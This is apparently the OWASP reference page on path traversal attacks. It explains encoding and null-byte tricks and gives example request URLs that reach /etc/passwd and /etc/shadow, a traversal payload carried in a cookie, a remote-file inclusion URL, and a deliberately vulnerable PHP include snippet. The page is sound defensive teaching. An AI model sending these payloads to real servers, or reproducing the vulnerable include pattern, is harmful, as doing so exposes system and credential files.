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Path Traversal
- This is an Attack. To view all attacks, please see the Attack Category page.
Last revision (mm/dd/yy): 10/6/2015
Overview
A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control.
This attack is also known as “dot-dot-slash”, “directory traversal”, “directory climbing” and “backtracking”.
Related Security Activities
How to Avoid Path Traversal Vulnerabilities
See the OWASP Guide article on how to Avoid Path Traversal Vulnerabilities.
How to Test for Path Traversal Vulnerabilities
See the OWASP Testing Guide article on how to Test for Path Traversal Vulnerabilities.
Description
Request variations
Encoding and double encoding:
%2e%2e%2f represents ../ %2e%2e/ represents ../ ..%2f represents ../ %2e%2e%5c represents ..\ %2e%2e\ represents ..\ ..%5c represents ..\ %252e%252e%255c represents ..\ ..%255c represents ..\ and so on.
Percent encoding (aka URL encoding)
Note that web containers perform one level of decoding on percent encoded values from forms and URLs.
..%c0%af represents ../ ..%c1%9c represents ..\
OS specific
UNIX
Root directory: “ / “ Directory separator: “ / “
WINDOWS
Root directory: “ <partition letter> : \ “ Directory separator: “ / “ or “ \ ” Note that windows allows filenames to be followed by extra . \ / characters.
In many operating systems, null bytes %00 can be injected to terminate the filename. For example, sending a parameter like:
?file=secret.doc%00.pdf
will result in the Java application seeing a string that ends with ".pdf" and the operating system will see a file that ends in ".doc". Attackers may use this trick to bypass validation routines.
Examples
Example 1
The following examples show how the application deals with the resources in use.
http://some_site.com.br/get-files.jsp?file=report.pdf http://some_site.com.br/get-page.php?home=aaa.html http://some_site.com.br/some-page.asp?page=index.html
In these examples it’s possible to insert a malicious string as the variable parameter to access files located outside the web publish directory.
http://some_site.com.br/get-files?file=../../../../some dir/some file
http://some_site.com.br/../../../../some dir/some file
The following URLs show examples of *NIX password file exploitation.
http://some_site.com.br/../../../../etc/shadow http://some_site.com.br/get-files?file=/etc/passwd
Note: In a windows system an attacker can navigate only in a partition that locates web root while in the Linux he can navigate in the whole disk.
Example 2
It's also possible to include files and scripts located on external website.
http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php
Example 3
These examples illustrate a case when an attacker made the server show the CGI source code.
http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi
Example 4
This example was extracted from: Wikipedia - Directory Traversal
A typical example of vulnerable application code is:
<?php $template = 'blue.php'; if ( is_set( $_COOKIE['TEMPLATE'] ) ) $template = $_COOKIE['TEMPLATE']; include ( "/home/users/phpguru/templates/" . $template ); ?>
An attack against this system could be to send the following HTTP request:
GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../../../etc/passwd
Generating a server response such as:
HTTP/1.0 200 OK Content-Type: text/html Server: Apache root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh daemon:*:1:1::/tmp: phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
The repeated ../ characters after /home/users/phpguru/templates/ has caused include() to traverse to the root directory, and then include the UNIX password file /etc/passwd.
UNIX etc/passwd is a common file used to demonstrate directory traversal, as it is often used by crackers to try cracking the passwords.
Absolute Path Traversal
The following URLs may be vulnerable to this attack:
http://testsite.com/get.php?f=list http://testsite.com/get.cgi?f=2 http://testsite.com/get.asp?f=test
An attacker can execute this attack like this:
http://testsite.com/get.php?f=/var/www/html/get.php http://testsite.com/get.cgi?f=/var/www/html/admin/get.inc http://testsite.com/get.asp?f=/etc/passwd
When the web server returns information about errors in a web application, it is much easier for the attacker to guess the correct locations (e.g. path to the file with a source code, which then may be displayed).
